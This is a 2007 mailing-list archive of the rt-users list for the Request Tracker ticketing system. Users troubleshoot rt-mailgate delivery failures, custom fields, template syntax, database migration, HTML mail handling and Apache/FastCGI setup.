Date: Fri, 16 Feb 2007 19:46:42 -0800 (PST)
Subject: [rt-users] Q: rt-mailgate: "exited with EX_TEMPFAIL"
Message-ID: <Pine.LNX.4.64.0702161924410.25700@homer22.u.washington.edu>

 	Greetings,

 	I am running RT 3.4.5 on FreeBSD and am having a sendmail or rt-mailgate 
problem.  No mail manages to go in or come out of rt (although the web 
interface works just fine otherwise).

 	I can telnet to sendmail and run the usual tests, and I can send a 
message to sendmail from a client, which receives the report that the email was 
sent without errors.  The maillog, however, is filled with EX_TEMPFAIL messages 
from the mail failing to be accepted by rt-mailgate:

sm-mta[663]: l1H3MNqa000662: to="|/usr/libexec/sm.bin/rt-mailgate --queue unassigned --action 
correspond --url https://removed.for.privacy", 
ctladdr=<help at removed.for.privacy> (26/0), delay=00:01:16, xdelay=00:01:16, 
mailer=prog, pri=30717, dsn=4.0.0, stat=Deferred: prog mailer (/bin/sh) exited with EX_TEMPFAIL

I have tried changing the mail/aliases file for sendmail to route messages to 
rt-mailgate directly (not through smrsh) and the error is virtually the same. 
(yes, I ran newaliases after changing the aliases file)

If I envoke rt-mailgate directly, it generates no errors and listens politely 
while I dump in well formatted mail, but nothing seems to come from this. 
(Perhaps I am missing some needed option).

I have turned on debugging in RT, but have not seen any enlightening messages 
that could point me in the right direction.

Does anyone have some pointers or a debugging procedure that could help me track 
this down?

 	Thanks,

John H. Nyhuis
IT Manager
Dept. of Pediatrics
HS RR541C, Box 356320
University of Washington
Desk: (206)-685-3884
jnyhuis at u.washington.edu


From bobg at uic.edu  Sat Feb 17 12:21:41 2007
From: bobg at uic.edu (Bob Goldstein)
Date: Sat, 17 Feb 2007 11:21:41 -0600
Subject: [rt-users] Q: rt-mailgate: "exited with EX_TEMPFAIL" 
In-Reply-To: Your message of "Fri, 16 Feb 2007 19:46:42 PST."
	<Pine.LNX.4.64.0702161924410.25700@homer22.u.washington.edu> 
Message-ID: <200702171721.l1HHLfVO022501@remora.cc.uic.edu>


Note that rt-mailgate uses LWP to make a web connection.
It inserts the mail through the web, not directly into the database.
Be sure your RT web server is configured to allow connections
from the machine running rt-mailgate.  Also, I noticed your
url had 'https'.  Dont' know if there could be issues there.

Anyway, I'm guessing you won't see any RT error messages
because the process is stopping at the web server, not making
it into RT.  

I'd start by adding '--debug' to the rt-mailgate command line,
and run it by hand.

  bobg



> 	Greetings,
>
> 	I am running RT 3.4.5 on FreeBSD and am having a sendmail or rt-mailgat
>e 
>problem.  No mail manages to go in or come out of rt (although the web 
>interface works just fine otherwise).
>
> 	I can telnet to sendmail and run the usual tests, and I can send a 
>message to sendmail from a client, which receives the report that the email wa
>s 
>sent without errors.  The maillog, however, is filled with EX_TEMPFAIL message
>s 
>from the mail failing to be accepted by rt-mailgate:
>
>sm-mta[663]: l1H3MNqa000662: to="|/usr/libexec/sm.bin/rt-mailgate --queue unas
>signed --action 
>correspond --url https://removed.for.privacy", 
>ctladdr=<help at removed.for.privacy> (26/0), delay=00:01:16, xdelay=00:01:16, 
>mailer=prog, pri=30717, dsn=4.0.0, stat=Deferred: prog mailer (/bin/sh) exited
> with EX_TEMPFAIL
>
>I have tried changing the mail/aliases file for sendmail to route messages to 
>rt-mailgate directly (not through smrsh) and the error is virtually the same. 
>(yes, I ran newaliases after changing the aliases file)
>
>If I envoke rt-mailgate directly, it generates no errors and listens politely 
>while I dump in well formatted mail, but nothing seems to come from this. 
>(Perhaps I am missing some needed option).
>
>I have turned on debugging in RT, but have not seen any enlightening messages 
>that could point me in the right direction.
>
>Does anyone have some pointers or a debugging procedure that could help me tra
>ck 
>this down?
>
> 	Thanks,
>
>John H. Nyhuis
>IT Manager
>Dept. of Pediatrics
>HS RR541C, Box 356320
>University of Washington
>Desk: (206)-685-3884
>jnyhuis at u.washington.edu
>_______________________________________________
>http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
>Community help: http://wiki.bestpractical.com
>Commercial support: sales at bestpractical.com
>
>
>Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>Buy a copy at http://rtbook.bestpractical.com
>


From admin2 at enabled.com  Sat Feb 17 15:28:46 2007
From: admin2 at enabled.com (Noah)
Date: Sat, 17 Feb 2007 12:28:46 -0800
Subject: [rt-users] rt3 handling incoming mail
Message-ID: <45D7657E.5090101@enabled.com>

Hi there,

I am new to rt3.  I want to configure rt3 and sendmail to work
together.  Is there a good tutorial or howto on how I can implement this
type of functionality.

Bascially I want to be able to write tickets at blah.blah.com and have rt3
auto open a ticket and auto respond to the originator.

cheers,

Noah




From joe.casadonte at oracle.com  Sat Feb 17 20:40:46 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 17 Feb 2007 20:40:46 -0500
Subject: [rt-users] rt3 handling incoming mail
In-Reply-To: <45D7657E.5090101@enabled.com>
References: <45D7657E.5090101@enabled.com>
Message-ID: <45D7AE9E.3050803@oracle.com>

On 2/17/2007 3:28 PM, Noah wrote:

> I am new to rt3.  I want to configure rt3 and sendmail to work
> together.  Is there a good tutorial or howto on how I can implement this
> type of functionality.
> 
> Bascially I want to be able to write tickets at blah.blah.com and have rt3
> auto open a ticket and auto respond to the originator.

Check out

    http://wiki.bestpractical.com/index.cgi?ManualInstallation

and look near the bottom

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From Jacob at buschs.com  Sun Feb 18 08:19:17 2007
From: Jacob at buschs.com (Jacob Helwig)
Date: Sun, 18 Feb 2007 08:19:17 -0500
Subject: [rt-users] new to creating templates
In-Reply-To: <140258.3487.qm@web38011.mail.mud.yahoo.com>
References: <140258.3487.qm@web38011.mail.mud.yahoo.com>
Message-ID: <B2E89743C79B364482E6AE35414E516201EABB37@mail.buschs.net>

Try just having {"This is a test"}, instead of the print.  From looking at my templates, whenever a variable needs to be printed, it's just left bare on a line.

For example, how $resolved_message is printed in http://wiki.bestpractical.com/index.cgi?AddTicketHistoryToMail

Also note how {$Ticket->Subject}, {$Ticket->QueueObj->CorrespondAddress()}, and {Transaction->Content()} are all done without a print.


From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Chuck Danger
Sent: Thursday, February 15, 2007 21:00
To: rt-users at lists.bestpractical.com
Subject: [rt-users] new to creating templates

Hi-

I'm sorta new to creating my own templates and to RT in general.? One thing I would like to do is create a custom template that has some perl embedded in it.? The docs I found seem to indicate that I can use the Text::Template method of embedding perl, i.e., use '{}' to surround the code block, but that does not seem to work.? For a test, I just created a custom template with this (using Autoreplay as a example, but calling it "AutoTest":

Subject: AutoReply: {$Ticket->Subject}


Greetings,

This message has been automatically generated in response to the
creation of a trouble ticket regarding:
??? "{$Ticket->Subject()}".

{print "This is a test\n";}

??????????????????????? Thank you,
??????????????????????? {$Ticket->QueueObj->CorrespondAddress()}

-------------------------------------------------------------------------
{$Transaction->Content()}

When I receive the reply from this template, where it should be printing out "This is a test", I just get "main::STDOUT".

Thanks-
Chuck C.

________________________________________
Don't get soaked. Take a quick peak at the forecast 
with theYahoo! Search weather shortcut.


From ruslan.zakirov at gmail.com  Sun Feb 18 14:47:39 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sun, 18 Feb 2007 22:47:39 +0300
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D327DD.70402@mococo.nl>
References: <45CE1E1E.7010308@oracle.com>
	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>
	<45D09C86.70101@oracle.com> <45D16817.7000404@mococo.nl>
	<45D17354.5030806@mococo.nl> <45D26090.7020407@oracle.com>
	<45D2C26C.9040107@mococo.nl> <45D327DD.70402@mococo.nl>
Message-ID: <589c94400702181147sbc46e6dw3a2180cc3a6a335@mail.gmail.com>

Joop, should I revert the patch before release?

On 2/14/07, Joop <JoopvandeWege at mococo.nl> wrote:
> Joop wrote:
>
> > I'll try to set this up in my test environment.
> > Almost, what I'm missing is/are the CF's. Maybe its because I don't have
> > global CustomFields and you do. I'll try a couple of things in our test RT.
> Tried and have the same problem. The CF's are global and are selected to
> be displayed by the search.
> Haven't found a solution (yet).
>
> Joop
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From JoopvandeWege at mococo.nl  Sun Feb 18 15:57:11 2007
From: JoopvandeWege at mococo.nl (Joop van de Wege)
Date: Sun, 18 Feb 2007 21:57:11 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <589c94400702181147sbc46e6dw3a2180cc3a6a335@mail.gmail.com>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	<45D09C86.70101@oracle.com>
	<45D16817.7000404@mococo.nl>	<45D17354.5030806@mococo.nl>
	<45D26090.7020407@oracle.com>	<45D2C26C.9040107@mococo.nl>
	<45D327DD.70402@mococo.nl>
	<589c94400702181147sbc46e6dw3a2180cc3a6a335@mail.gmail.com>
Message-ID: <45D8BDA7.1020500@mococo.nl>

Ruslan Zakirov wrote:
> Joop, should I revert the patch before release?
No since the patch fixes at least the problems with customfield display 
on tickets and assets. The query which is build when searching is 
slightly different and I haven't had time to discuss this with our DBA. 
It has to do with the MIN(column), changing to another aggregate 
function gives us a different result, but still not the right one.

Joop


From jesse at bestpractical.com  Sun Feb 18 15:00:47 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Sun, 18 Feb 2007 14:00:47 -0600
Subject: [rt-users] "Depends On" refers to self
In-Reply-To: <bc3.a5910b7.330743f6@aol.com>
References: <bc3.a5910b7.330743f6@aol.com>
Message-ID: <AE26EAEA-8345-4108-9445-2E82CB225918@bestpractical.com>


On Feb 16, 2007, at 11:29 AM, JohnWAugust3 at aol.com wrote:

> I'm having a problem with query display info referring to their own  
> ticket ID when displaying the "Depends On" field. I've checked the  
> archives and the only mention of the problem is based on version  
> that is older than mine where the fix involved upgrading. I'm  
> currently on 3.4.4. Any help with this problem?
>

It's a bug. One we've fixed in more recent versions. (I'm pretty sure  
that 3.4.6 gets this right).

Best,
Jesse

> John W. August III
> Associate Technical Project Manager
> Portal Services
> johnwaugust3 at aol.com
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From cabal at u.washington.edu  Sun Feb 18 23:03:39 2007
From: cabal at u.washington.edu (John H. Nyhuis)
Date: Sun, 18 Feb 2007 20:03:39 -0800 (PST)
Subject: [rt-users] Q: rt-mailgate: "exited with EX_TEMPFAIL" 
In-Reply-To: <200702171721.l1HHLfVO022501@remora.cc.uic.edu>
References: <200702171721.l1HHLfVO022501@remora.cc.uic.edu>
Message-ID: <Pine.LNX.4.64.0702181947380.29020@homer22.u.washington.edu>

 	Well, following this lead, I rebuilt LWP and all the other perl modules, 
and ensured that LWP was compiled with SSL support.  Also added --debug to the 
aliases file so every time sendmail passes a message to rt-mailgate, it should 
give me useful logs, but still no luck.  Apache is not logging anything exciting 
either.  Thanks for trying to help.

 	Thanks,

John H. Nyhuis
IT Manager
Dept. of Pediatrics
HS RR541C, Box 356320
University of Washington
Desk: (206)-685-3884
jnyhuis at u.washington.edu

On Sat, 17 Feb 2007, Bob Goldstein wrote:

>
> Note that rt-mailgate uses LWP to make a web connection.
> It inserts the mail through the web, not directly into the database.
> Be sure your RT web server is configured to allow connections
> from the machine running rt-mailgate.  Also, I noticed your
> url had 'https'.  Dont' know if there could be issues there.
>
> Anyway, I'm guessing you won't see any RT error messages
> because the process is stopping at the web server, not making
> it into RT.
>
> I'd start by adding '--debug' to the rt-mailgate command line,
> and run it by hand.
>
>  bobg
>
>
>
>> 	Greetings,
>>
>> 	I am running RT 3.4.5 on FreeBSD and am having a sendmail or rt-mailgat
>> e
>> problem.  No mail manages to go in or come out of rt (although the web
>> interface works just fine otherwise).
>>
>> 	I can telnet to sendmail and run the usual tests, and I can send a
>> message to sendmail from a client, which receives the report that the email wa
>> s
>> sent without errors.  The maillog, however, is filled with EX_TEMPFAIL message
>> s
>> from the mail failing to be accepted by rt-mailgate:
>>
>> sm-mta[663]: l1H3MNqa000662: to="|/usr/libexec/sm.bin/rt-mailgate --queue unas
>> signed --action
>> correspond --url https://removed.for.privacy",
>> ctladdr=<help at removed.for.privacy> (26/0), delay=00:01:16, xdelay=00:01:16,
>> mailer=prog, pri=30717, dsn=4.0.0, stat=Deferred: prog mailer (/bin/sh) exited
>> with EX_TEMPFAIL
>>
>> I have tried changing the mail/aliases file for sendmail to route messages to
>> rt-mailgate directly (not through smrsh) and the error is virtually the same.
>> (yes, I ran newaliases after changing the aliases file)
>>
>> If I envoke rt-mailgate directly, it generates no errors and listens politely
>> while I dump in well formatted mail, but nothing seems to come from this.
>> (Perhaps I am missing some needed option).
>>
>> I have turned on debugging in RT, but have not seen any enlightening messages
>> that could point me in the right direction.
>>
>> Does anyone have some pointers or a debugging procedure that could help me tra
>> ck
>> this down?
>>
>> 	Thanks,
>>
>> John H. Nyhuis
>> IT Manager
>> Dept. of Pediatrics
>> HS RR541C, Box 356320
>> University of Washington
>> Desk: (206)-685-3884
>> jnyhuis at u.washington.edu
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


From torsten.brumm at kuehne-nagel.com  Mon Feb 19 02:43:35 2007
From: torsten.brumm at kuehne-nagel.com (Torsten Brumm | Kuehne + Nagel)
Date: Mon, 19 Feb 2007 08:43:35 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D5C4A9.4000803@t-online.de>
Message-ID: <C1FF13B7.48AA%torsten.brumm@kuehne-nagel.com>

Hi Olaf,

With the way you explain, you assign a CF to a queue, but in detail, you
assign it to the tickets inside the queue, not the queue itself.

What i have tried to explain is the ability to assign CF's to a queue in the
same way, you can do it to users and groups.

Torsten


On 16.02.2007 15:50 Uhr, "Olaf Hamann" <pooka at t-online.de> wrote:

> This might be a configuration question. (RT 3.6.1)
> 
> After creating a custom field you have to assign it to any queue,
> otherwise it would not be seen there.
> 
> This assignment can be done individually queue by queue.
> 
> So I we have some CF created once and get used in all Queues, while
> other CFs (e.g.  Selectlist 'CPU' ) are created more than once with
> diffent values (one with 16bit-cpus  one with 32bit-cpus)
> 
> Then assigned in Queue support-16bit only the 16bit-CF
> 
> Does this touch your question? Or did'nt I understand your question.
> 
> 
> Regards,
> Olaf Hamann
> 
> Torsten Brumm | Kuehne + Nagel wrote:
> 
>> Thats something i asked for several time during the last 5 years ;-)
>> 
>> I would like to have it!
>> 
>> 
>> On 14.02.2007 16:02 Uhr, "Joe Casadonte" <joe.casadonte at oracle.com> wrote:
>> 
>> 
>>> Would this be easy to hack in?  I haven't touched the schema at all, so
>>> I don't know what's involved....
>> 
>> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com

-- 
With kindest regards

Torsten Brumm
Kuehne + Nagel 
Datacenter Hamburg
Bauerbergweg 25
22111 Hamburg

Tel: +49 40 3033 33 199
Fax: +49 40 3033 344 3199
Gsm: +49 40 176 27 27 18 50
Mail: torsten.brumm at kuehne-nagel.com
Web: www.kuehne-nagel.com



From ruslan.zakirov at gmail.com  Mon Feb 19 04:06:01 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Mon, 19 Feb 2007 12:06:01 +0300
Subject: [rt-users] RT upgrade (3.4.5 -> 3.6.x) and DBMS change
In-Reply-To: <er3u72$rcv$1@sea.gmane.org>
References: <er3u72$rcv$1@sea.gmane.org>
Message-ID: <589c94400702190106l71d8d04dx903763d877607cde@mail.gmail.com>

On 2/16/07, Uwe Voelker <uwe.voelker at gmx.de> wrote:
> Hello,
>
> I have a rt 3.4.5 install with sqlite. This is awfully slow! Even a
> relatively small database (now at 40 MB) makes this system unusable.
>
> I now want to upgrade to 3.6.x (maybe 3.6.1 in Debian Etch, but 3.6.3
> custom install is also possible) with MySQL 5.0.
>
> How can I switch the DBMS? Can I do the upgrade in one step or do I have
> to switch to 3.4.5/MySQL and then 3.6.x/MySQL?
As we have no some script for auto-migration from db to db, so I
recommend you first of all export data and import it into 3.4.5 on
mysql, so you can check that things work fine and be able to start
again. Avoid to change some any config options not related to database
to protect yourself from possible side effects.

>
>
> Thank you very much,
> bye,
> Uwe
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From torben.nehmer at cancom.de  Mon Feb 19 09:00:05 2007
From: torben.nehmer at cancom.de (Torben Nehmer)
Date: Mon, 19 Feb 2007 15:00:05 +0100
Subject: [rt-users] HTML E-Mails (was: No Answers)
References: <OFE0036DC2.4115F420-ON86257282.006BA669-86257282.006CA144@pgtv.com>
Message-ID: <EBE724A2DE794D44B545B2B355DD3CC704308466@server15.int.cancom.de>

Hello everybody,

thanks for the answers so far, I'm starting to get a grasp at the problems now.

-- On 2007-02-14 James Moseley wrote:
> Torben, without doing the research, I am not even sure if the RT code knows
> how to parse html email.  I think you'd be better off just sending plain
> text email through the mailgate.  I am sure this topic has been covered
> before somewhere in the list archives.

I have been searching for the specific problem I have here with MS Outlook driven HTML / Rich Text mails, unfortunalety the only references I found were years old and basically outlining the same problem but no solution which I could use.

I have been thinking patching into RTs HTML Mail handling to optionally plug in HTMLTidy before actually showing the mails, but so fare I would need some pointers where to start looking (RTs codebase isn't exactly trivial to understand, which is no complaint, just a statement of fact):

1. Where does RT read and process incoming Mails where one could sanely "plug in" to post-process HTML or mime/multipart-alternative mails.

2. I'm not sure if this might not also be a problem related only to mail display and replies, as my first explorations into the Database didn't show any error, so I'd also be interested where RT reads mails for display and replies at a later time after loading them from the DB.

I fully understand that the majority (read: Englisch speaking) users of RT don't experience this problem. Nevertheless I think that it needs attention in some way or the other; especially if one wants to broaden RTs userbase in the world. 

It is my experience that user friendlyness, especially to end-users with no technical experience is a very important point. In this respect, telling over a thousand users to "just" send plain text E-Mails is guranteed to fail. So far I didn't have any users wondering about all the ?s in the text, but it'll come ;-).


Note, that I'd also be happy with some pointers to resources (documentation, mailing list threads etc.) which I might have missed; by no means I'm expecting a full "manual" how to hack RT. Also I'd of course be willing to publish my patches to make RT work better with a German speaking Outlook.


Yours sincerely,
Torben Nehmer

-------
Torben Nehmer
Diplom Informatiker (FH)
Business System Developer

CANCOM Deutschland GmbH
Messerschmittstr. 20
89343 Scheppach
Germany

Phone: +49 (0)8225 - 996-1118
Fax: +49 (0)8225 - 996-41118
torben.nehmer at cancom.de

CANCOM Deutschland GmbH
Sitz der Gesellschaft: Jettingen-Scheppach
HRB 10653 Memmingen
Gesch?ftsf?hrer: Paul Holdschik, Christian Linder






From rfh at pipex.net  Mon Feb 19 10:40:04 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Mon, 19 Feb 2007 15:40:04 +0000
Subject: [rt-users] Having intial Requesters additions included in ticket
	history
Message-ID: <45D9C4D4.3010906@pipex.net>

Hi there;
rt-3.6.1 apache2, mod_perl2, mysql5

When a ticket is created from the web interface,an agent in most cases 
will enter a customer email address as requester, is there any way that 
this action is added/included in the ticket history, similar to how 
adding a requester from the People tab is recorded (user - Requester 
Blah added) ..
I know I need to call
Transaction->AddWatcher,
but how and from where ??

Many thanks;
Roy


From joe.casadonte at oracle.com  Mon Feb 19 11:57:57 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Mon, 19 Feb 2007 11:57:57 -0500
Subject: [rt-users] 3.6.3 - Saved Searches, Groups and Rights
Message-ID: <45D9D715.1070403@oracle.com>

I'm confused over the xxxSavedSearches rights, and my limited 
experimentation has only confused me further....

What I'd like is

1) each privileged user can create saved searches for themselves
2) superuser can create saved searches accessible by everyone
3) groups do not have group-specific saved searches available (and the 
headings don't clutter up the combo box)

Is this possible and if so, how do I set up the rights?  Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From csmith at nighthawkrad.net  Mon Feb 19 20:10:21 2007
From: csmith at nighthawkrad.net (Christopher Smith)
Date: Tue, 20 Feb 2007 12:10:21 +1100
Subject: [rt-users] Changing "WebBaseURL" ?
Message-ID: <45DA4A7D.9060207@nighthawkrad.net>

We have an RT server that was initially rooled out as a test/evaluation, 
using a "WebBaseURL" of http://rt.sub.domain.com.

As these things often do, it's become "important".  As part of a move to 
a new server, I'd like to change the "WebBaseURL" to 
http://rt.domain.com, to better reflect its "global" status.


My question is, what impact will this have ?  I obviously need to change 
the $WebBaseURL value in RT_SiteConfig.pm appropriately and also the 
"--url" parts of the procmail recipes that feed mail into rt-mailgate. 
Is there anything else ?

If I configure the new webserver to answer to rt.sub.domain.com as well 
as rt.domain.com, will that be enough to make any old references from 
tickets keep working, or should I do some sort of manual search/replace 
through the database to change the existing data ?


-- 
Christopher Smith

Systems Administrator
Nighthawk Radiology Services
Level 11, Suite 1101
Grosvenor Place
225 George Street
Sydney NSW 2000
Australia

T:  612 - 8211 2300 (IP: x8163)
F:  612 - 8211 2333
M:  61  - 407 397 563
USA Toll free:  866 241 6635
E: csmith at nighthawkrad.net
I: www.nighthawkrad.net

CONFIDENTIALITY NOTICE:   This email, including any attachments, 
contains information from NightHawk Radiology Services, which may be 
confidential or privileged. The information is intended to be for the 
use of the individual or entity named above. If you are not the intended 
recipient, be aware that any disclosure, copying, distribution or use of 
the contents of this information is prohibited. If you have received 
this email in error, please notify NightHawk Radiology Services 
immediately by forwarding message to postmaster at nighthawkrad.net and 
destroy all electronic and hard copies of the communication, including 
attachments.


From jeff at cia.net  Tue Feb 20 00:30:57 2007
From: jeff at cia.net (Jeff Garvas)
Date: Tue, 20 Feb 2007 00:30:57 -0500
Subject: [rt-users] RT / apache setup in a shared hosting environment
Message-ID: <3f94dfab0702192130q279eba26r714a6cbf9cc5c182@mail.gmail.com>

I have experience with an older version of RT working on one of my machines
with mod_perl, but I'd trying to do a fresh installation with Dreamhost (
www.dreamhost.com).  Dreamhost supports FastCGI, but it seems that I am
unable to use ScriptAlias or Alias in .htpasswd.  (I to not have access to
httpd.conf)

Has anyone had any success getting RT to work in an environment like this?

I can change where the directory root is but I can't seem to get rt to come
up.  I'm a little bit confused as to where the DocumentRoot should be for
FastCGI installations since I can't use ScriptAlias.

Is there any work around for this type of environment?
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From ClancyIan at cel.ie  Tue Feb 20 05:33:14 2007
From: ClancyIan at cel.ie (Ian Clancy)
Date: Tue, 20 Feb 2007 10:33:14 +0000
Subject: [rt-users] Clean way to force users to enter Time Worked before the
 ticket can be resolved
Message-ID: <45DACE6A.6020305@cel.ie>

Hi List,
I'm using RT as an IT Support system and i'm happy to report that this 
works very well. I'd like to run a report at the end of each week/month 
that would display the amount of time each employee spent working on 
tickets. I need some way to ensure that the user enter the Time Worked 
field for the report to be accurate. Is there a clean way to force users 
to enter Time Worked before the ticket can be resolved.
Maybe a scrip that would work something like :
On Resolve <check that Time Worked has a valid entry and if not change 
status to open again>
My perl isn't the best so I'm not sure how you might go about doing this.
Any Ideas ?
Thanks in advance

-- 
Ian Clancy
IT Co-ordinator
Connaught Electronics Ltd.




From joe.casadonte at oracle.com  Tue Feb 20 08:59:53 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Tue, 20 Feb 2007 08:59:53 -0500
Subject: [rt-users] Clean way to force users to enter Time Worked before
	the ticket can be resolved
In-Reply-To: <45DACE6A.6020305@cel.ie>
References: <45DACE6A.6020305@cel.ie>
Message-ID: <45DAFED9.90206@oracle.com>

On 2/20/2007 5:33 AM, Ian Clancy wrote:

> Is there a clean way to force users 
> to enter Time Worked before the ticket can be resolved.

Instead of checking after the fact and re-opening the ticket, why not 
prevent it from being resolved in the first place?  I wrote up a wiki 
page on how to use JavaScript to make a ticket's subject be mandatory; 
it could be easily adapted to make Time Worked mandatory on Resolve. 
Details are at:

    http://wiki.bestpractical.com/index.cgi?MandatorySubject

It's not as intimidating as it looks.  Maybe I'll add to the page 
explaining what each change does.....

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From jhoney at systemsfusion.com  Tue Feb 20 09:27:48 2007
From: jhoney at systemsfusion.com (Jared Honey)
Date: Tue, 20 Feb 2007 16:27:48 +0200
Subject: [rt-users] RT and Apache rewrite
Message-ID: <07B3AE9F-1265-4BE5-A6E6-7090A7CF6A69@systemsfusion.com>

Hi All

I've just finished setting up RT on Solaris. I initially went the  
mod_perl route but hit a dead end and decided to go with FastCGI.  
Well it was easy enough to get running using FastCGI but now I've run  
into a little problem.

My problem is that I have created an alias called /rt3/ and a  
redirect to that alias. I can log in but every other link in RT is  
not linked into that alias so they don't work ie Confiuration will  
open rt.server.co.za/Admin but I want it to open rt.server.co.za/rt3/ 
Admin. I've tried to create an Apache rewrite rule to rewrite  
everything for / to /rt3/ but this isn't working. Any help would be  
great.

This is my Apache config:

FastCgiServer /usr/local/rt3/bin/mason_handler.fcgi -idle-timeout 120

<VirtualHost rt.server.co.za:80>
         ServerAdmin noc at systemsfusion.com
         ServerName rt.server.co.za
         DocumentRoot /usr/local/rt3/share/html/
     ErrorLog logs/rt.server.co.za-error_log
     CustomLog logs/rt.server.co.za-access_log common

         <Directory /usr/local/rt3/share/html>
                 Options FollowSymLinks MultiViews
                 AllowOverride None
                 Order allow,deny
                 allow from all
                 RedirectMatch ^/$ /rt3/
                 RewriteEngine on
                 RewriteRule ^/(.*)$ /rt3/$1 [L,R,NC]
         </Directory>

         ScriptAlias /rt3/ /usr/local/rt3/bin/mason_handler.fcgi/

         AddHandler fastcgi-script fcgi

         Alias /NoAuth/images/ /usr/local/rt3/share/html/NoAuth/images/

</VirtualHost>

Is there perhaps an easier way to change these links?

Thanks,
Jared
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From jackc at teptin.net  Tue Feb 20 09:40:46 2007
From: jackc at teptin.net (Jan Korbel)
Date: Tue, 20 Feb 2007 15:40:46 +0100
Subject: [rt-users] HTML E-Mails
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC704308466@server15.int.cancom.de>
References: <OFE0036DC2.4115F420-ON86257282.006BA669-86257282.006CA144@pgtv.com>
	<EBE724A2DE794D44B545B2B355DD3CC704308466@server15.int.cancom.de>
Message-ID: <45DB086E.3050706@teptin.net>

Try this link:

http://wiki.bestpractical.com/index.cgi?html2mime

Torben Nehmer wrote:
> Hello everybody,
> 
> thanks for the answers so far, I'm starting to get a grasp at the problems now.
> 
> -- On 2007-02-14 James Moseley wrote:
>> Torben, without doing the research, I am not even sure if the RT code knows
>> how to parse html email.  I think you'd be better off just sending plain
>> text email through the mailgate.  I am sure this topic has been covered
>> before somewhere in the list archives.
> 
> I have been searching for the specific problem I have here with MS Outlook driven HTML / Rich Text mails, unfortunalety the only references I found were years old and basically outlining the same problem but no solution which I could use.
> 
> I have been thinking patching into RTs HTML Mail handling to optionally plug in HTMLTidy before actually showing the mails, but so fare I would need some pointers where to start looking (RTs codebase isn't exactly trivial to understand, which is no complaint, just a statement of fact):
> 
> 1. Where does RT read and process incoming Mails where one could sanely "plug in" to post-process HTML or mime/multipart-alternative mails.
> 
> 2. I'm not sure if this might not also be a problem related only to mail display and replies, as my first explorations into the Database didn't show any error, so I'd also be interested where RT reads mails for display and replies at a later time after loading them from the DB.
> 
> I fully understand that the majority (read: Englisch speaking) users of RT don't experience this problem. Nevertheless I think that it needs attention in some way or the other; especially if one wants to broaden RTs userbase in the world. 
> 
> It is my experience that user friendlyness, especially to end-users with no technical experience is a very important point. In this respect, telling over a thousand users to "just" send plain text E-Mails is guranteed to fail. So far I didn't have any users wondering about all the ?s in the text, but it'll come ;-).
> 
> 
> Note, that I'd also be happy with some pointers to resources (documentation, mailing list threads etc.) which I might have missed; by no means I'm expecting a full "manual" how to hack RT. Also I'd of course be willing to publish my patches to make RT work better with a German speaking Outlook.
> 
> 
> Yours sincerely,
> Torben Nehmer


From kamber.dalal at verizonbusiness.com  Tue Feb 20 13:52:00 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Tue, 20 Feb 2007 18:52:00 +0000
Subject: [rt-users] Notify Requestors and cc
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E6056D315C@ASHEVS005.mcilink.com>

I have noticed that RT sends separate emails.  One to the requestors,
which does not show the cc'd address and other to the cc'd email address
which does not show the To field
Is there a way to combine these as one outgoing mail where both the To
and the CC field are shown? 
 
Thank you,
Kamber Dalal
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From jesse at bestpractical.com  Tue Feb 20 11:34:50 2007
